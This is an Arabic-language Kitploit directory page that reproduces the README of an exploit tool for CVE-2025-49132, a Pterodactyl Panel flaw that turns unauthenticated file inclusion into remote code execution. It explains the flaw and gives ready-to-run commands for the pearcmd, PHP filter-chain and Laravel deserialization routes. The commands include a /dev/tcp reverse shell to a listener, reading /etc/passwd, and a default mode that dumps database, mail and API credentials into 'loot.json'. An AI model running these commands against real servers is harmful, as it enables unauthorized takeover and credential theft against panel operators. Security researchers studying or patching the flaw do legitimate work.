Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-49132 — استغلال لـ Pterodactyl Panel ≤ 1.11.10 - LFI غير مصادق عليه إلى RCE. | Kitploit
أدوات/GitHubGitHub/yoyochaud/cve-2025-49132
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرتطوير الحمولات
GitHubyoyochaud/cve-2025-49132

CVE-2025-49132

استغلال لـ Pterodactyl Panel ≤ 1.11.10 - LFI غير مصادق عليه إلى RCE.

عرض المستودع
2513منذ 7 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-49132 - تنفيذ الأوامر عن بُعد بدون مصادقة في Pterodactyl Panel

root@kitploit:~
  ___ __   __ ___      ___   ___  ___  ___        _  _   ___  _  ____  ___ 
 / __|\ \ / /| __|___ |_  ) / _ \|_  )| __|___   | || | / _ \| ||__ / |_  )
| (__  \ V / | _|___|  / / | (_) |/ / |__ \___|  |_  _| \_, /| ||_ \  / / 
 \___|  \_/  |___|    /___| \___//___||___/        |_|   /_/ |_|___/ /___|

استغلال لثغرة Pterodactyl Panel ≤ 1.11.10 - تحويل LFI غير المصادق عليه إلى RCE.

الثغرة

يقبل مسار النهاية /locales/locale.json معاملَي locale وnamespace يتم تمريرهما مباشرةً إلى include() في PHP دون تنقية أو مصادقة. أما معامل hash المصمم لمنع إساءة الاستخدام فلا يتم تطبيقه أبدًا في الإصدارات غير المحدّثة.

وهذا يتيح:

  • تضمين الملفات المحلي (LFI) - قراءة أي ملف إعدادات .php (بيانات اعتماد قاعدة البيانات، APP_KEY، البريد، الجلسة…)
  • تنفيذ الأوامر عن بُعد (RCE) - عبر تضمين pearcmd.php (خدعة register_argc_argv + config-create)، أو سلاسل فلاتر PHP، أو إلغاء تسلسل Laravel باستخدام APP_KEY المسرَّب

الإصدارات المتأثرة: Pterodactyl Panel ≤ 1.11.10 تم الإصلاح في: 1.11.11

لماذا هذا الـ PoC؟

تعتمد الـ PoCs الأصلية على requests في بايثون لإرسال حمولة pearcmd. المشكلة: أن requests يرمّز أحرفًا مثل < و> و{ و} ترميزًا صامتًا في الرابط - مما يكسر وسوم PHP (<?=system(...)?>) المضمّنة في URL.

يعالج هذا الاستغلال ذلك بتغييرين رئيسيين:

  1. curl للمرحلة 1 - يستخدم طلب إنشاء الحمولة curl -g (globoff) عبر subprocess، متجاوزًا ترميز URL في بايثون تمامًا.
  2. hex2bin() لترميز الأوامر - بدلاً من حقن الأمر الخام (الذي يفشل مع المسافات والأحرف الخاصة)، يُرمَّز الأمر بالنظام الست عشري ويُفكَّك ترميزه في الخادم عبر system(hex2bin('...')). الترميز الست عشري يستخدم 0-9a-f فقط - لا + ولا = ولا & ولا مسافات. هذا يعني أن أي أمر يعمل، بما في ذلك الريفرس شيل باستخدام >& و/dev/tcp/.
  3. مسار PEAR ديناميكي - على عكس العديد من السكربتات الثابتة التي تضع /usr/share/php كمسار ثابت، تدعم هذه الأداة وسيط --pear-dir بالكامل. وهي تحقن المسار المخصص ديناميكيًا في طلب curl الخام، مما يتيح استغلال الأهداف ذات الإعدادات غير القياسية.
  4. أتمتة الكل في واحد - بدلاً من الاعتماد على سكربتات منفصلة لمهاجمات مختلفة، تؤتمت هذه الأداة سطح الهجوم بالكامل (pearcmd، فلاتر PHP، إلغاء التسلسل، LFI .php)، وتفحص كل الاحتمالات لضمان مسار RCE الأكثر موثوقية.

التثبيت

root@kitploit:~
pip install requests

اختياري (لطرق RCE عبر سلسلة الفلاتر / إلغاء التسلسل):

root@kitploit:~
pip install pycryptodome
git clone https://github.com/synacktiv/php_filter_chain_generator

الاستخدام

RCE

root@kitploit:~
# Simple command
python3 exploit.py http://panel.fr --rce-cmd "id"

# PHP filter chain (needs php_filter_chain_generator in PATH)
python3 exploit.py http://panel.fr --rce-filter "id"

# Pre-generated filter chain
python3 exploit.py http://panel.fr --rce-filter "id" --filter-chain "php://filter/..."

# Laravel deserialization via leaked APP_KEY (needs phpggc + pycryptodome)
python3 exploit.py http://panel.fr --rce-d "id"

# RCE with another pear directory
python3 exploit.py http://panel.fr --rce-cmd "cat /etc/passwd" --pear-dir /usr/share/php/PEAR

# Reverse shell 
python3 exploit.py http://panel.fr --rce-cmd "/bin/bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"

تفريغ الإعدادات الكامل (الوضع الافتراضي)

root@kitploit:~
# Dumps all configs (DB creds, APP_KEY, mail, session, CORS…) + attempts auto RCE
python3 exploit.py http://panel.fr

الخيارات

الخيارالوصف
targetرابط الهدف (مثل http://panel.pterodactyl.fr)
--rce-cmd CMDتنفيذ CMD عبر pearcmd (يدعم أي أمر، بما في ذلك الريفرس شيل)
--rce-filter CMDتنفيذ CMD عبر سلسلة فلاتر PHP
--filter-chain CHAINاستخدام سلسلة php://filter مولّدة مسبقًا (مع --rce-filter)
--rce-d CMDتنفيذ CMD عبر إلغاء تسلسل Laravel
--pear-dir PATHالمسار إلى مجلد pearcmd.php (الافتراضي: /usr/share/php)
--timeout Nمهلة الطلب بالثواني (الافتراضي: 10)
--verify-sslتفعيل التحقق من شهادة SSL (معطّل افتراضيًا)
-o FILEملف تقرير الإخراج (الافتراضي: loot.json)

قيم --pear-dir الشائعة

التوزيعةالمسار
Debian / Ubuntu/usr/share/php (الافتراضي)
openSUSE/usr/share/php/PEAR
Alpine/usr/share/php84 أو /usr/share/php83
RHEL / Rocky/usr/share/pear

ما الذي يفرّغه الوضع الافتراضي

عند تشغيله دون --rce-cmd أو --rce-filter أو --rce-d، يقوم الاستغلال باستخراج كامل للإعدادات:

  • قاعدة البيانات - مضيف MySQL، المنفذ، المستخدم، كلمة المرور، اسم قاعدة البيانات + إعدادات Redis
  • التطبيق - APP_KEY (← إلغاء تسلسل Laravel)، الإصدار، البيئة، وضع التصحيح
  • Pterodactyl - الإعدادات الخاصة باللوحة، إعدادات التحقق بخطوتين (2FA)، مؤشرات الميزات
  • الجلسة - المُشغِّل، إعدادات ملفات الارتباط (cookie)، إعدادات التشفير
  • المصادقة - إعدادات القفل، انتهاء صلاحية إعادة تعيين كلمة المرور
  • الخدمات - مفاتيح API الخارجية (Mailgun, Postmark, إلخ.)
  • البريد - بيانات اعتماد SMTP، إعدادات المرسل
  • الطوابير / التخزين المؤقت / التجزئة / CORS / التسجيل / أنظمة الملفات
  • الملفات الحساسة - محاولة قراءة /etc/passwd، اسم المضيف، إصدار النواة

يُحفظ تقرير JSON كامل في loot.json (أو مسار مخصص عبر -o).

الاعتمادات

هذا الاستغلال هو تحسين مبني على الـ PoC من GRodolphe/CVE-2025-49132_poc، وهو نفسه مستوحى من الـ PoC الأصلي من 0xtensho/CVE-2025-49132-poc.

تنزيل الأداة